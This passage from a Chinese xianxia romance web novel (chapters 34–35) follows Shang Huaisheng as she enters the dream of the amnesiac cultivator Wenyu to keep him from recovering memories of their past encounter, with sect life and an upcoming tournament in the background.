提及旧事,问玉露出一抹浅笑,“就算如此,它也没能和我结契。” “找到它的是你,将它带回来的也是你,它心甘情愿被你封印在常春阁,说明你和它之间有缘。”说话间,宋良白也不忘往嘴里灌酒。 “怀笙她幼时经历过许多不好的事情,她能与断龙共鸣,也能压制断龙,但我很担心……断龙承载着太多的怨念,我怕怀笙会被它侵蚀,会迷失心智,就像断龙的上一位主人一样。” “她不会的。”问玉说。 宋良白眼神亮了亮,“你愿意收她为徒?” 问玉迟疑片刻,摇头,“我不能收她为徒。” “为何?” “……” 问玉不知该作何解释,沉默良久,才道:“我并未有过收徒的打算,而且我还没有找到囚龙谷那个女子。” 宋良白愣了下,慢慢回忆起来,脸色微变,“你不会怀疑怀笙吧?” “在我没有找到回忆前,任何人都有可能。” 宋良白眼中多了几分嫌弃,“不可能是怀笙,你要是敢对我徒弟下手,我真的会不顾师兄弟情谊好好教训你的!” “若真是她,怎么看都是我吃了亏。” “呸,你也不看看你多大岁数了!老牛吃嫩草,我鄙视你!” 问玉脸上有些挂不住,“失去记忆的是我,我是受害者。” “谁知道你是不是做了错事,才让对方含恨离开?” “……” 问玉被说中心事,情绪瞬间低落。 在那些碎片般杂乱的记忆中,这是他担心的另一个问题,怕是自己做了错事。 若是找回记忆发现自己背信弃义在先,他当真不知道该如何自处。 问玉心情烦闷,道:“我已经找潮海阁圣女要来引梦香,过几日找人为我护法,看能不能找回记忆。” “潮海阁圣女?那不就是桑月!咳咳咳咳——”宋良白差点把酒喷出来,“你真行啊问玉,让老情人帮自己找新情人!” 问玉蹙眉,“我和她并无关系。” 宋良白:“好好好,是她痴恋你多年。哈哈哈哈,桑月那丫头定是气坏了!” “我也不会白收她的东西。” 滥用禁术伤害无辜百姓,若是传出去,潮海阁的声名会一落千丈。 桑月不是主谋,却也知情纵容,问玉答应不将此事告知太虚殿,作为交换,桑月为他调制此香。 问玉道:“等我找回记忆,再考虑别的事情,至于商怀笙……再议。” 宋良白端起酒杯,这次他没有一口闷下去,而是细细啜饮,发出一声响亮的“啧”,“行吧,你若是不愿,我也不会逼迫你。只是九天盛会在即,怀笙去参赛前,我会让她正式拜师。” * 商怀笙醒来时,已经日上三竿,早上的课全都错过了,她便独自在罗罗峰练功,适应自己体内暴涨的灵气。 山上的季节变化不如人界那样明显,日曜城已是初秋,罗罗峰的桃花与莲花还在一同盛放,粉白与嫣红在正午阳光中交织,甜腻暖香与清冷幽香碰撞,似有若无纠缠在空气中。 商怀笙一剑劈出寒光,剑气荡开,桃花花瓣簌簌而落,打着旋儿落入盛着莲花的水缸之中,被微倾得莲叶托住,又滑入水中,小小一片花瓣霎时绽成数片,切痕光滑利落。 比起一剑斩碎巨石,能克制力道对商怀笙来说才是一种进步。 她的剑法狂乱不羁,宋良白的柏木剑法对她来说太内敛太拘谨,常春阁师祖留下的徐氏剑法又太蛮劲,以她的力气不易操控。 问玉教她的这几招却是能与断龙相得益彰,虽然称不上是完整的剑法,但能将她自身的能力与断龙相结合,像是提笔写字一般,行云流水,轻盈灵动中暗藏杀机,商怀笙用起来得心应手。 她忍不住又练了一遍,刚一站定,便听见秦湫的声音响起,“流云裁月?看来师妹这几日当真是在用心修行。” 商怀笙身形一晃,险些没握住剑,秦湫笑着朝她走来,“从前听大师兄说起,徐师祖的流云裁月以柔克刚,以静制动,剑势轻盈,暗藏锋芒,一剑断人要害,敌手未觉,胜负已分,今日见师妹一舞,果然名不虚传。” “师姐,你都快把我夸上天了。”商怀笙脸颊微红,“这几招也不是很难。” “学起来不难,要完全掌握却不易。”秦湫的目光掠过树下映着天空的水缸,笑道,“我就说我们师妹天资卓越,只要认真修行,定能在仙门中傲视群雄。” 商怀笙挺起胸脯,忍不住笑道:“师姐你别夸我了,你知道的,我这人不禁夸。” “你这几日修行认真,可有什么收获?”秦湫在莲花旁坐下,“这碗莲还是元妄寻来的,当时你栽了两年都不开花,没想到现在开的这样好。” 商怀笙还在想要不要坦白自己已经破境的事情,顺着秦湫的视线看过去,想到元妄将这碗莲捧来时的场。 她觉得水缸空荡,想栽种莲花,可偏又因为打架被关了禁闭,三个月不许下山,元妄便去山下小镇上寻来送给她,与秦湫一起连夜将它栽种,以法术催发,只为了让商怀笙一醒来必能看到。 元妄和秦湫是待她最亲的人,是她的师兄师姐,也像是她的父母一般。 商怀笙目光微动,脱口而出:“师姐,我升阶了。” 秦湫莞尔,似乎并不意外,“怎么样?” “连跳三阶,已是识灵稳气期。” 秦湫微顿,脸上露出震惊的神色,还有一丝不易察觉的落寞,“师父当年为了收你为徒,不惜与年玉师叔大打出手,你也的确没有让他失望。” “师父和年玉打架?为了争夺我?”商怀笙来了兴致,“我怎么不知道这些事儿?” 她从前闯祸之后,倒是常常听宋良白悔恨当年不该带她回来。 秦湫道:“那时你年纪小,大概是记不清了。” “我只记得师父将我带回来,后来便养在你身边,元妄师兄常来瞧我,其他人一概记不清了。”如今听到宋良白这么看重她,商怀笙有几分洋洋得意,“那是他慧眼识珠。” 秦湫拍拍她肩膀,见她收了剑,便问:“怎么不练了?” “有点饿了。”商怀笙说。 秦湫道:“你昨日破境,想必十分消耗经历,可有进食?” “有,有的。”商怀笙摸了摸鼻子,有点担心她再问下去,自己会把和问玉有关的事情全部坦白。 “有就好。” 出乎意料地,秦湫结束了这个话题,又讲起其他事情,“大师兄过几日便要出发去长眠海巡逻了,这次与凌枫院的人同去,不知道还能不能赶上这一届九天盛会。” “长眠海到底有什么好去的,而且这次怎么又是大师兄!” “每年巡逻是惯例,今年轮到咱们和凌枫院,大师兄也是主动请缨。” “长眠海随时可以去,九天盛会可不是每年都有的,这次错过,又要等上十年了。” 九天盛会由天机阁与太虚殿举办,是修仙界最大的聚会,同好交流,同台竞技,每个境界都设有比赛,也有团体竞技,奖励由现在最富有的几大仙门提供,十分丰厚。 上一次举办的时候商怀笙年纪太小,眼睁睁看着金田得了第三,得了个化酒扇做奖励,到处炫耀,看的她眼红。 今年她也终于能参加了,且她现在与金田同境界,到时候定要狠狠将他踩在脚下。 想到这里,商怀笙眼中斗志满满,“我今年也要参加!只是大师兄不在,不知道谁会带队了。” 各大门派参加竞技者,需得有合灵期稳气以上的,以防止在团体竞技中发生危险。 商怀笙头上几个师兄师姐,突破合灵期的倒是有,但几乎都在初阶,能带队得除了大师兄,也就只有二师兄程公乐和四师姐吕悠了,但吕悠是医修,放不下她的药草。大概是不会去的。 至于程公乐,商怀笙从前和他一起参加过四水阁中的机关阵试炼,这人无趣的很,沉默寡言,又十分死板,循规蹈矩。 “若是二师兄带着我们,肯定会有许多规矩,不如四师姐,她做的药糕是真的好吃。” 秦湫敲敲她脑袋:“你满脑子就剩下吃喝玩乐了。” “吃喝玩乐乃是人生大事!”商怀笙道。 秦湫笑笑,“提到吕悠,我昨日去找她,发现她种了许多无忧果,许是被问玉师叔逼急了,要研究无忧果的解药呢。” 商怀笙心头一震,“这玩意儿还有解药?” “吕悠在这方面天赋异禀,真能让她研究出来也说不定。” “可我听说问玉中的是加强版,不止有无忧果,还有多重的遗忘咒,这……怕是很难清除吧?” 秦湫淡淡道:“凡事没有绝对,在日曜城,我和闻惠去桑月圣女那里取了她特制的引梦香。听闻能够找回上百年前的记忆,不知道对师叔有没有效果。” 商怀笙心中警铃大作,顿时坐立难安,要是问玉真的恢复了记忆,别说教她修炼了,不砍她都算他开恩。 她搓着手,显出几分局促,“潮海阁的东西,真有那么好用?” 秦湫不了解引梦香,但是潮海阁盛名在外,“圣女的东西,自然是好用的。” 商怀笙无意识地咬紧下唇,睫毛不自然地颤动,半点藏不住眼底的慌乱。 秦湫将她的神色尽收眼底,沉默半晌,感觉商怀笙马上就要开口向她求助了,才缓缓地说:“不过圣女提过,使用引梦香的时候最好有人在身边护法,若受到一点干扰,寻梦便会中断,还有可能导致精神恍惚错乱。” 商怀笙的眼睛骤然睁大,瞳孔中像是冒出两簇星光,紧绷的嘴角猛地一松,在唇边抿起两道微小的弧度。 “是吗?那师叔得找个信任的人来护法了。” 第34章 第三十四章 一同入梦 “你是怎么知道引梦香的事情的?” 又是一个不安静的夜晚, 商怀笙坐在棋盘对面,捧着脸,笑嘻嘻地看着问玉, “我听师姐说起, 师叔,你现在可想起来了?” 问玉打量着她,总感觉她嬉皮笑脸中暗藏阴谋, 他稍稍坐直了身子,语气严肃。 “我还未找到合适的时间。” “不就是睡一觉的事情?哪天不行?” 问玉垂眸,“我有我的考量。” 商怀笙托腮,指尖拨弄着一枚棋子,大脑飞速转动,思考该如何开口提自己给他护法的事情, 又不暴露自己的心思。 落在问玉眼中, 便是她呆呆地望着棋盘, 大脑好似在放空。 他低头,看见商怀笙裙角沾了几片花瓣, 夜风拂过, 梨花纷纷扬扬,落在她房间,问玉蜷起手指,遏制自己抬手为她拂去的冲动。 孤男寡女, 这样独处不太合适, 或许他该听了宋良白的话, 收商怀笙为徒,两人便能光明正大地见面。 ……不对,他们现在也是光明正大, 问心无愧的。 都是宋良白说的那些话,害他多想。 问玉静静地看着商怀笙,表面沉静如深潭,眼底却有情绪暗涌,两人对坐静默良久,问玉开口问道:“使用引梦香时,需要有人护法,你意下如何?” 商怀笙猛然抬头,眼睛倏地睁圆,还以为是自己听错了,眉梢惊讶地挑起,却没在问玉脸上看到开玩笑的意思,顿时整张脸都亮了起来,嘴角高高扬起,“好啊!” 踏破铁鞋无觅处,得来全不费工夫! 问玉道:“你答应的这么爽快,倒让我有点担心。” 商怀笙忙道,“师叔信任我,我当然乐意。” 问玉轻笑,“现在叫师叔倒是叫的顺口。” “三山宗和四水阁百年前是一家嘛!” 商怀笙说完,忍不住在心里唾弃自己,竟然连这种话都能说出来。 问玉挑眉,“你竟能说出这种话来,我可是听说了,小一辈弟子中,打架你是最积极的。” “我现在已经不打架了,乖得很!而且他们是他们,师叔是师叔。”商怀笙摸摸鼻子,腆着笑脸,“你与他们不同的。” “你……”问玉移开视线,握紧手中的棋子,“油嘴滑舌。” 商怀笙沉浸在如何干扰问玉引梦香中,被挖苦了脸上也满是笑意,思考过后,商怀笙才反应过来,问道:“为什么是我?三山宗有那么多弟子,而且你兄长年玉修为高深,不是更适合护法吗?” 问玉眸色沉沉,“引梦香也会影响周围的人,可能会把他们也带入我的记忆中,有些事,不便与旁人知晓。” 商怀笙眨眨眼,眉眼弯成两道月牙,“哦——!原来师叔这么信任我啊!” 问玉捏着一枚棋子,冷冷笑道:“你修为低,又有把柄握在我手中,若你敢泄密,处理起来也简单。” 商怀笙不解,“你手里有什么把柄?” 问玉抬头,眸中映着月色,“三山宗与四水阁不睦,你却私底下偷偷找我学艺,若你那些伙伴知道你私通外敌,会是什么反应?” “你你你——!”商怀笙霎时涨红了脸,拍案而起,身上的花瓣纷纷落地,“我说你怎么这么好心!原来是打的这个主意!” 问玉眼尾上挑,露出几分得逞的愉悦,“是你自己巴巴地过来,我可没求你。” “你们三山宗果然都是心思阴毒的坏种!” 商怀笙气的想把棋盘掀了,但这事儿对她是个机会,她其实没有生气的道理,想通这一点,她压住怒气,“此事暴露后,你当你的名声不会有损吗?” 问玉道:“四水阁晚辈求着找我修行,传授几招,有何不可?” “我可没求你,是你主动要教我的!” 问玉笑意更深,“到时候就看他们信谁了。” 商怀笙咬牙,不管信谁,她亲近问玉,肯定会被丰宝他们当成叛徒,尤其门中还有受过问玉折磨的弟子。 “你真是……太过分了!”商怀笙憋了半天,也只能狠狠的砸了一下棋盘,以表示自己的愤怒。 看到自己宝贝许久的棋盘上登时出现一个大坑,问玉的笑容戛然而止,“你知道这棋盘多难寻吗!” 商怀笙抬拳,“不知道,但我可以把它再砸回来。” “你……罢了罢了。”问玉把棋盘抱过去,眼中露出几分嫌弃,“长得挺文静,怎么偏是这个性格。那你到底能不能给我护法?” “能,当然能!”商怀笙咬牙切齿。 如果她把问玉睡了的事情曝出去,那她真的是没有脸面对四水阁的人了! “行。”问玉摸着棋盘上的大坑,满眼心疼,“改日我会把引梦香带来,你最好也备些凝神的东西,以防受到影响。” “好。” * 商怀笙还没等到给问玉护法,她大师兄高明叶便要出发去长眠海。 这一行他带上了自己的两位弟子,三位都是一派正气凛然的模样,头发束的一丝不苟,统一着门服,神色严肃,与师门拜别。 商怀笙几人晨起目送他们离开,高明叶不如其他师兄师姐那般待她亲切,老气横秋,看上去比宋良白还像师父。 但他对商怀笙还算不错,每次历练,总会带些小玩意儿送她,小木鸢、小风筝、蛐蛐笼等等,像是把她当做小孩。 高明叶与他们几个师妹师弟告别,将九天盛会需要准备之事一一嘱托给程公乐,又交代许多宗门中琐碎的小事,最后来到商怀笙面前,摸摸她的脑袋: “怀笙,不要惹事。” “大师兄,我现在已经不打架了!”商怀笙反驳道。 高明叶笑了笑,他连笑容都很老气,轻抿一下唇角,很快又落下,“别给你秦师姐添乱。” “我知道。”商怀笙说。 他又在商怀笙脑袋上摸了两下,松手后即刻转身,不带一丝留恋,御剑离去,很快消失在清晨的薄雾中。 商怀笙打了个哈欠,想要睡个回笼觉,一转头却见几个师兄师姐面色凝重,与往前送师兄离开时完全不同。 饶是她再不会察言观色,连程公乐那张沉潭般的脸上都露出几分担忧,商怀笙也察觉出几分不对。 她抓住秦湫的衣袖,问道:“师姐,你们怎么都这幅神色,难道有什么不妥?” 秦湫也像刚才高明叶那样摸着她的脑袋,挤出宽慰的笑容,“没事,只是往年巡逻只需要两个门派,今年天机阁选了七个门派。” “或许是因为今年要举办九天盛会,他们想把各宗门的青年才俊都支走,提高他们自家的胜率。” 商怀笙这话一出,几人都露出笑容,凝重的氛围得到一瞬的放松。 元妄笑道:“谁敢再说怀笙反应慢,咱们怀笙可太聪明了。” 吕悠:“希望只是如此吧,这段时间没听说过长眠海四周有什么异动,倒是南方有魔族出没,双月山庄频频被骚扰,多次请求太虚殿相助。” “双月岛本就在交界处,常有妖魔出入。”程公乐板着脸,结束他们的对话,“大师兄已经出发,我还要去给弟子上课,咱们也散了吧。” 待他身影消失在长阶,商怀笙小声跟秦湫说,“师姐你听听,二师兄总是这样煞风景,若真由他带队,这次九天盛会不知该有多无趣。” 话音刚落,脑袋便被元妄的折扇敲了下,“怎么说话呢,那可是你二师兄。” 商怀笙努努嘴,“我也没说错啊。” 元妄笑道:“程师兄以前可不是那样的,被问玉教训之后,便日渐寡言,说到底,还是问玉的错。” 商怀笙不由得好奇,“问玉到底对他做了什么,就因为把他冰封在湖底?” “就因为?”元妄挑挑眉,“你若是尝试过一次,便知道那滋味有多可怕了,大脑有意识,能听能看却不能动,只能感受着刺骨的寒意,求生不得,求死不能……要不怎么说问玉心狠呢。” 嘶—— 商怀笙倒吸一口冷气,若是问玉恢复记忆,会不会也那样对她? 她小脸皱成一团,元妄用扇子戳戳她额头,“不说这个了,听秦湫说你这些日子进步很大,来比划两招?” “好啊。”商怀笙点头,“我没带断龙,等我唤来。” 元妄赶紧比了个打住的手势,“别急,咱不在这比,一炷香后花杨林后的千机阵见。” “好!” * 是夜,夜色黑沉,浓云吞噬星月,不泄一丝光亮,空气沉闷无风,伸手不见五指,连问玉的夜明珠似乎都黯淡许多。 露水坠下,梨树枝条被压弯,粉白花瓣泛着一丝青灰,花瓣下,一缕烟迹笔直如剑,升至树冠后徐徐散开,薄雾般弥漫在问玉四周。 他盘腿坐在树下,是入定的模样,但眉头轻皱,长睫轻颤,在引梦香的影响下,他逐渐放松,肩膀下垂,面色也归于平静。 商怀笙在他对面坐下,摘下面纱,一缕烟雾飘过来,并无香气,却让人觉得头脑清醒。 她向吕悠打听过引梦香,潮海阁秘法,极其珍贵,吕悠曾经想要研究但一直没能得到样本,仅凭两次嗅闻,尝试复刻也没能成功。 不过有一点可以确定,她不能贸然将他叫醒,一来容易造成精神混乱,二来若是问玉知道她蓄意破坏,肯定不会放过她。 所以眼下最好的办法,是同他一起入梦,干扰他找回记忆。 商怀笙在周围设下结界,将她和问玉笼罩其中,吃下从吕悠那里软磨硬泡求来的仿制品,顿时觉得头脑昏沉,抬眸看一下问玉的脸颊,便迅速昏睡过去。 * 问玉已经来到幻境之中,眼前是一座巍峨的山峰,抬眼望去,云海翻腾,青石长阶蜿蜒入云,阶上青苔遍布,古朴苍老,似乎许多年无人踏足。 这不像是常春阁附近的山脉,问玉对它毫无印象,记忆中也并无这座如剑般的孤峰,他踏上台阶,准备去山顶一探究竟,却脚下一滑,身体不受控制地向后仰去,四周的场景也开始迅速变化。 再一睁眼,他已经站在破败的城门前,烽火台上狼烟直冲云霄,城墙下士兵忙碌如蚁群,箭矢一捆捆运上墙头,裹着燃火的稻草,如流星般飞过城墙。 远处骑兵如乌云压境,一波接着一波,马蹄声震得大地都在颤抖,号角震天,盔甲碰撞,在滚石与火箭的攻势下,攻城骑兵惨叫声连连,但不断有云梯架起,骑兵如潮水般不断绝。 城门久攻不下,在一轮又一轮的进攻中,攻城骑兵损失惨重,眼看地平线外已经没了支援的身影,为首的身着战甲的男子一声令下,所有攻势暂停,四周瞬间静默。 在令人窒息的安静中,一个小小的身影一瘸一拐地走到城门前,犹犹豫豫,不断回头看向身后的李昱辰。 “怀笙,去吧!”李昱辰大喝一声,手中提着一个年轻女性的头颅,满脸的血污,神色狰狞,“是他们杀了枣儿,将她折磨致死,去吧,去为她报仇!!” 商怀笙稚嫩的脸上露出愤怒的神色,双目猩红,她用力甩甩手腕,后退一步,深吸一口气,双拳齐出—— “砰——!” 城门轰然倒塌,在纷飞的木块和飞溅的铁皮中,李昱辰的军队攻入城门,伴随着一声声振奋的“杀——”,马蹄扬起烟尘,吞没了门前小小的身影,城门内的守军四散奔逃,却也难逃死于长枪下的宿命。 问玉在人群中找寻商怀笙的身影,尘土散去,商怀笙缩在门前,怀中抱着那女子被马蹄践踏的不成样子的头颅,她不知所措地咬唇,满脸泪水。 她甚至还没有马蹄高。 问玉闭了闭眼睛,有些后悔当时没直接杀了李昱辰,他朝着商怀笙走去,伸手想把她拉起来,却触碰不到她的身体。 “没事,一会儿李昱辰就把我带回去了。” 身后响起商怀笙的声音,问玉扭头,发现她正捂着鼻子打量四周。 “好大的烟。”她道。 问玉心中升起几分心疼和怜惜,但一想到商怀笙没好好护法反而被引梦香影响,又忍不住教训道:“不是让你准备好凝神的东西吗!现在倒好,你心志不坚定,反倒受的影响更深。” “是这香效果太强了!”商怀笙面色不改地为自己辩解。 “这香只有这一点,都给你用了我怎么办?” “你再向桑月要呗。” “我不要脸面的吗?” 商怀笙哂笑,“师叔,我知错了,咱们不如快些出去吧,说不定还能留点下次用。” “没用的,香不燃尽出不去,所以我才让你护法。” “啊……那怎么办?” 问玉揉揉眉心,“我试试能不能操纵幻境。” 两人说话间,李昱辰已经回来接幼时的商怀笙了,她仍抱着那头颅,任凭李昱辰说什么都不肯起身。 问玉忽的安静下来,好半晌,才开口问道:“那人是谁?” “我被李昱辰带走后,一直照顾我的姐姐。”商怀笙耸耸肩,声音中满是不在意,目光却一直盯着,“李昱辰为了逼我出手,把她杀了,说是敌军干的,现在想想,敌军无缘无故为什么能抓走一个在军营最深处的宫女呢。” 问玉心中又是一阵揪痛,“你从前辛苦了。” 商怀笙轻笑一下,“过去的都过去了,提一千遍一万遍,死去的人也不会再回来。” 她笑得风轻云淡,问玉却没有半分宽慰,远远望着被李昱辰牵走的小孩子,不禁长叹。 “你如果愿意……” 他刚开口,眼前的画面如铜镜乍破,碎片纷飞,又自动聚集在一起,拼成一片绿树浓阴的场景。 囚龙谷! 他果然回来了。 问玉看到另一个自己从屋中走出,口中还喋喋不休,似乎在于什么人说话,他露出的半截颈部上布满痕迹,想来已经是在事后。 “你在这里老实待着!”幻境中的问玉冲着屋内喊道。 态度听起来有几分恶劣,问玉心中一紧。 他与那人的关系似乎不怎么好?难道他真的是被强迫的? 如果真是这样,他应该会在事后杀了那人才对。 他不由自主地上前,想看清门内之人的样貌,商怀笙吓坏了,慌忙跟上去,“师叔——” 问玉已经来到门前,就在犹豫的时候,被商怀笙抓住手腕,“师叔,你看看你去干什么了!” 问玉心念一动,眼前场景变化,来到“问玉”的身后,见他双眉紧蹙,在灌木丛中找寻什么东西。 他还没来得及教训商怀笙扰乱他梦境,鞜樰證裡看到境中自己手上的药草,问玉瞳孔骤缩。 番红花、紫草……这些,与麝香同效,是避孕的药物。 青天白日,问玉感觉有一道雷落下,劈在自己头顶,让他一阵头晕目眩。 他、他……他怎么会找这种药草? 联系对方出门时恶劣的语气和话语,问玉心中有一个令人胆寒的猜测: 难道是他做下了不义之事,才导致对方失望离去? 第35章 第三十五章 九天盛会 商怀笙知道问玉经常出去拔药材给她熬药, 但从没跟出来过,见他在林中穿梭,口中念念有词, 寻寻觅觅的忙碌模样, 还觉得有几分可爱,不由得多看了几眼。 看得正起劲时,余光瞥见真·问玉脸色苍白, 一副霜打茄子似的挫败模样,顿时好奇起来。 “师叔,你怎么了?” “没事……”问玉说着,转过身快步朝竹屋走去,“我要去看看那人是谁!” “?师叔!”商怀笙大惊,小跑着跟上, 没想到问玉速度奇快, 她竟然追不上。 坏了坏了。 她要完蛋了! 谁来救救我—— 问玉的手已经搭在门上, 大力推开—— 商怀笙内心狂叫:救命啊——!! 只听头顶一声闷雷,眼前的画面旋转模糊, 问玉睁大眼睛, 想看清床榻上女子的模样,却只看到她的背影,手上甩着自己的帕子,俏皮可爱。 四周旋转的更加厉害, 问玉进门, 想再靠近一点, 眼看那女子马上就要转过身来,他眼前一黑,身体被一阵强风托起, 升入高空。 “师叔?师叔!问玉?!” 商怀笙的声音逐渐清晰,问玉睁开眼,一片鲜活的绿色闯入视线。 “师叔,你醒啦!” 小命保住了,商怀笙心情愉悦,语气都变得谄媚许多。 她扶起问玉,指着不远处,“师叔,你快看那是谁?” 顺着她的手指,问玉看到一个小孩坐在树下,膝边放着一把木剑,口中念念有词,正一本正经地学习御剑之术。 那模样,分明就是小时候的他。 问玉整个人都愣住,山顶的风吹动他的衣袖,树下的孩童额间沁出汗珠,眉头紧锁,眼神中满是倔强与不甘。 “师叔,你小时候长得真可爱。”商怀笙满脸笑意,“嘬嘬”两声,像在唤狗,“怎么不过来?” 问玉睨她一眼,商怀笙不好意思地笑笑,“太久没见小孩了。” 小问玉看上去只有五六岁的模样,五官还没有完全长开,不如现在的问玉这般棱角分明,脸上还带着婴儿肥,许是修炼的效果不尽如人意,所以他一直嘟着嘴,委屈的模样惹人怜爱。 商怀笙环顾四周,发现这座山峰陌生得很,“这是从前的常春阁吗?” 问玉摇摇头,商怀笙一脸疑惑,正要继续追问,空中忽然响起一个声音,缥缈,空灵,仿佛来自天际,语气却带着几分俏皮: “小孩,你还在练呢?我都说了你并无灵根,你修行千年万年,也没办法得道飞升,不如跟我一起留在这里可好?” “我才不要!”小问玉声音洪亮,满脸抗拒,“我不要待在这里,我要去看更广阔的世界,我要修行!” “真是个犟种!你以为人类会——” 那声音戛然而止,不远处有重叠的脚步声响起,渐渐逼近,伴随着二人的交谈声。 “在这里,真的能寻到问玉?” “师父说能,就是能。” “你不如去向师父认个错吧,又不是什么不可饶恕的罪孽,你服个软,他真的能将你逐出师门不成?” “我意已决。” “真是头倔驴!” 问玉与商怀笙转过身,青苔石阶上,两道人影勾肩搭背,踏着石阶步步登顶,他们脸上带着少年稚气,眼神中充满对这个世界的热忱与期待,正是年少时的宋良白与年玉。 “……兄长?” 问玉往前踏出一步,却好像有人猛地抓住他肩膀向后拽,他正想呵斥商怀笙,一转头,眼前又是一黑。 天际泛出鱼肚白,乌云散去,残留的月亮与东方初升的太阳遥相辉映,浅淡的像是一个影子,头顶梨花已经所剩无几,只剩光秃秃的枝干,商怀笙伏在他膝上,蓝裙落满白花瓣。 梦中场景交叠闪过,现实中却已经过了整夜,引梦香燃烧之后的灰烬洒在结界四周,泛着点点银光,问玉抬手解开结界,一阵风吹过,梨花伴着银灰飞舞,在半空落下一场雪。 “我脖子好疼……”商怀笙打着哈欠醒来,眼睛还没睁开,手已经揉上脖颈。 问玉抓着她的肩膀甩到一旁,商怀笙“哎呀”一声,手撑着地爬起来,“你干嘛打我?” 问玉的右腿被她压麻了,缓缓恢复知觉时有疼痛感,看着恶人先告状的商怀笙,他冷笑,“你还好意思说,若不是你,我早已看清那人的样貌!净给我添乱!” 引梦香没了,商怀笙腰板也硬了,“我怎么知道这引梦香效果这么强!你不做好功课就贸然入梦,你难道没有责任吗?!” “你——”问玉一时不知道该怎么反驳,板着脸起身,拂去身上的花瓣,整理衣襟,“时候不早了,你快回去吧,别被人发现。” “现在开始担心被人发现了?威胁我的时候怎么不说!” 商怀笙得理不饶人,看着问玉吃瘪,心中有种小人得志的窃喜。 问玉还未从梦境中完全抽身,思绪复杂,也无心与她争辩,揉了揉脑袋,“是,是我的错,我不与你计较这些,你回去吧。” 商怀笙:“……” 她觉得自己或许真的跟元妄说的那样欠了吧唧的,不然她也不会见到问玉妥协,反倒觉得不爽,走出几步,还故意回头刺激他。 “师叔,那你不找了吗?”商怀笙预感会被骂,但还是说出接下来的话,“引梦香没了诶。” 话说出口商怀笙自己都觉得自己欠打,难怪三山宗这么多人看她不爽。 “找!”问玉咬牙切齿,看她的眼神中是明晃晃的怒色,“引梦香没了,还有凌枫院的聚魂灯,我总会找到她。” 凌枫院? 那可是修仙界有名的大喇叭,修仙界十分之九八卦的传播地。 问玉如果去了,第二天他的艳史就会传遍修仙界。 问玉能抹下面子去那里? 就算他去了,他们得罪了凌盛,凌盛也未必同意把聚魂灯借他。 商怀笙仰起头,心情愉悦,“好啊,师叔有这样精神,做什么都会成功的。” 说罢,小雀似的蹦蹦跳跳着离开。 问玉盯着那抹欢腾的背影,长舒一口气,低头看着自己的手掌。 虽然被商怀笙打断,但也不是全无收获,他记起许多细节,与那人在床上的种种,炙热交缠的呼吸,那人说着不堪入耳的情话,异于常人的体温,和……紧压着他手腕的力道。 她的状态不正常,意识也并不清醒,像是被下了药。 是他做的吗? 他用药物操纵别人,还在事后让她喝下避孕汤药…… 他究竟都做了什么?! 问玉从不自诩正人君子,但也行得正坐得端,有他自己的底线,尤其洁身自好,修行百年,清心寡欲,从不沾染男女之事。 他怎么会做出这样的事情?! 这背后肯定有隐情,还有他没发现的细节。 托商怀笙的福,问玉不仅没有找到真相,还变得更加混乱了。 按他以往的脾气,绝不会这么轻易放过商怀笙,可从梦中醒来,没能看到那人的脸,问玉反倒感到一丝庆幸。 没错,庆幸。 从日曜城回来已有月余,他几次取出引梦香,思来想去,却不敢点燃,不知道是为什么。 许是担心见到那人的样貌,不是自己想要的……可他想要的又是什么呢? 问玉连自己的心思都猜不透,从前只想着赶紧抓到那胆大包天的女子,但根本没想过找到她之后又该当如何。 天已大亮,问玉在梨树下独坐许久,阳光透过绿叶投下斑驳光影,温度渐渐升高,他才起身整理衣袖,收拾残局,转身回了自己住处。 又过了几日,年玉问起引梦香的事情,“不是说在桑月那里得了找到记忆的法子吗?如何了?” “不大管用。”问玉说得模棱两可。 年玉意味深长地看着他,“你最近怎么开始研究这些基础的心法了?打算收徒?” “……没有。” 年玉毕竟是他亲兄长,对他最为了解,问玉心里一紧,把手里的书本放到一旁。 “听说宋良白的大徒弟又去了长眠海,这次怎么搞出那么大的阵仗,天机阁是算出了什么?”问玉道。 年玉摇头:“他们什么也不说,只是让各门派增加人手。” 问玉不屑:“这群老东西,仗着自己宗门曾有人飞升,越发无法无天。一个个的飞升成仙成神又如何,不还是全都陨落了。” “问玉,这种话可不能乱说。”年玉有几分无奈,“长眠海是神陨之地,滋生出众多妖魔鬼怪,却也留存着当年那些神仙的法宝,许是又有胆大妄为之人偷偷去探秘寻宝了。” 问玉道:“到底是别人的东西,值得拿命去取?” “人为财死,鸟为食亡。”年玉的目光在书桌上掠过,叠了一沓写过字的宣纸,最上面的字迹龙飞凤舞,不像是问玉的字,“你闭关回来,也不似从前那般专心于修炼,若是一直找不到那女子,你打算怎么办?” “找不到就慢慢找。”话题又绕回到这件事上,问玉心中烦闷,“兄长,你还记得我幼时中毒,师父用秘法为我治疗的事情吗?” 年玉的肩膀微微绷紧,“是有此事,怎么提起这个?” “我记得师父说过,我的五脏已被毒液腐蚀,内里虚空,几乎只剩下一层皮,所以他用常春阁珍藏的宝玉为我重新雕刻了身躯,代价是我的身体与常人再不相同,不能像旁人那样修行,也无法孕育自己的后代。” 年玉轻轻点头,“是。你是在担心那女子会怀上你的孩子?” 不等问玉回答,年玉开口道:“不会的,就算你们真的……也不会有那样的事情发生。” 问玉微愣,“……那就好。” 他就知道会是这样的结果,那为什么还要喂那人喝避子汤呢? 问玉揉了揉太阳穴,下意识地轻叹一声。 年玉轻轻拍了下他的肩膀,“不要想那么多,事情并没有你想的那么糟糕。” * 在商怀笙“不小心”破坏了问玉的幻境之后,问玉给她安排的课程更重了,从前三日一次的见面改到四日一次,但需要她背的东西却越来越多,各门各派的心法,简单的复杂的,问玉统统要求她熟记。 商怀笙觉得心法不算什么重要的东西,丰宝他们许多年前就不再刻意去背心法,问玉却说心法是修炼的核心法门,也是提升修为的根基,每次见面非得检查她的心法,背的滚瓜烂熟才罢休。 商怀笙想学其他的法术,剑法,咒法,哪怕是易形之法,都比背这些纯理论性的心法来得有趣。 “实在是太无聊了!”商怀笙扔下书本,趴到桌上。 元妄将手里的书移开,瞧着她笑道:“这就无聊了?你这几日常常到藏书阁来,我还以为你转了性子,原来也不过是一时兴起而已。” 商怀笙声音闷闷的,“我是真心想要修行,可这些心法实在是枯燥。” “稳固道基,突破瓶颈,无一不需要心法加持,没有心法,修道便如无根之木,终究难成大道。”元妄把她扔下的书展平摆正,“你这才哪儿到哪儿。” 这些话商怀笙听得耳朵都快起茧子了,“我想学剑法,学很厉害的那种剑法!” “你有这个心是好的,但不能操之过急。”元妄早在秦湫那里听说了商怀笙在认真修行之事,心中欣慰之余,难免也有几分担忧,“断龙不比寻常法器,很难驾驭,你修好心法,稳住根基,才能避免被它反噬。” 